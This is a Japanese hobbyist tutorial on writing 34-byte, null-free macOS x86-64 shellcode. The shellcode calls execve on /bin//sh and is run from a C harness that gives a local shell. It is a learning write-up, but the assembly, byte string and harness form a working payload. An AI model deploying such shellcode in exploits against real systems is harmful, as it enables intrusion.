MacOS用のシェルコード を書いてみた
一度シェルコード を書いてみたいと前から思っていたので、今回書いてみようと思います。
Linux用のシェルコードはこれまでに何度か見たことがあり、MacOS用に書くならどう書くのだろうと気になったので、今回はMacOS用のシェルコードを書いてみます。
実行環境
アセンブリコードの作成
まずは、シェルを起動するアセンブリを書きます。プログラムの実行はexecve
を使うことで行えるので、これを使ってシェルを起動します。
; shellcode.asm global _main global start section .text start: ; execve("/bin//sh", {"/bin//sh", NULL}, NULL) ; => rax: 0x200003B ; rdi: "/bin//sh\0" ; rsi: {"/bin//sh\0", 0} ; rdx: NULL xor rdx, rdx ; clear rdx push rdx mov rax, 0x68732f2f6e69622f ; /bin//sh push rax mov rdi, rsp ; rdi = "/bin//sh\0" push rdx push rdi mov rsi, rsp ; rsi = {"/bin//sh\0", NULL} mov rax, 0x1ffffff ; rax = 0x200003b - 0x3c = 0x1ffffff add rax, 0x3c ; rax = 0x200003b syscall
このアセンブリは以下のことを行っています。
- rdx同士の排他的論理和をとって、rdxを0にします。
- 0と
/bin//sh
という文字をスタックにプッシュします。 - rdiにスタックの先頭のアドレスをコピーします。これにより、rdiは
/bin//sh
という文字列になります。 - 0とrdiをスタックにプッシュします。
- rsiにスタックの先頭のアドレスをコピーします。これにより、rsiは
{"/bin//sh", NULL}
という配列になります。 - raxにexecveのシステムコール番号である
0x20003B
をセットします。 - システムコールを行います。
下の図はスタックの様子を表したものです。アドレスは実際のものと異なりますが、状態は同じです。
システムコール番号を直接raxに入れるとNULL文字が入ってしまうので、あえて0x1FFFFFF
を代入し0x3C
を足すことで、目的の0x200003B
をraxにセットしています。
シェルコードの作成
nasmでアセンブリからオブジェクトファイルを作成し、リンクして実行ファイルを作成します。
$ nasm -f macho64 shellcode.asm $ ld -macosx_version_min shellcode.o
リンクしてできた実行ファイルをobjdumpを使ってディスアセンブルします。
$ objdump -d ./a.out ./a.out: file format Mach-O 64-bit x86-64 Disassembly of section __TEXT,__text: __text: 1fde: 48 31 d2 xorq %rdx, %rdx 1fe1: 52 pushq %rdx 1fe2: 48 b8 2f 62 69 6e 2f 2f 73 68 movabsq $7526411283028599343, %rax 1fec: 50 pushq %rax 1fed: 48 89 e7 movq %rsp, %rdi 1ff0: 52 pushq %rdx 1ff1: 57 pushq %rdi 1ff2: 48 89 e6 movq %rsp, %rsi 1ff5: b8 ff ff ff 01 movl $33554431, %eax 1ffa: 48 83 c0 3c addq $60, %rax 1ffe: 0f 05 syscall start: 1fde: 48 31 d2 xorq %rdx, %rdx 1fe1: 52 pushq %rdx 1fe2: 48 b8 2f 62 69 6e 2f 2f 73 68 movabsq $7526411283028599343, %rax 1fec: 50 pushq %rax 1fed: 48 89 e7 movq %rsp, %rdi 1ff0: 52 pushq %rdx 1ff1: 57 pushq %rdi 1ff2: 48 89 e6 movq %rsp, %rsi 1ff5: b8 ff ff ff 01 movl $33554431, %eax 1ffa: 48 83 c0 3c addq $60, %rax 1ffe: 0f 05 syscall
ちゃんと機械語になっていることがわかります。あとは、機械語の部分を取り出せばシェルコード の完成です。 できたシェルコードは34バイトでした。
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05
私は、objdumpの結果から手動で上のシェルコードの形にしたのですが、もっといい方法があると思います。
シェルコードを実行してみる
__attribute__((section("__TEXT,__text"))) char shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05"; int main() { (*(void (*)())shellcode)(); }
1行目の__attribute__((section("__TEXT,__text")))
でシェルコード をtextセクションに配置して、実行できるようにしています。これがないとbus error
が発生しました。
gccでコンパイルし、生成された実行ファイルを実行すると見事にシェルが起動します。
$ gcc main.c $ ./a.out sh-3.2$
まとめ
MacOS用とは言うもののシステムコール番号以外の部分はLinuxと同じだったので、あまり書くのに苦労しませんでした。 今回はシェルを起動するだけだったけれど、もっと多くのことができるのでいろいろ試したいと思いました。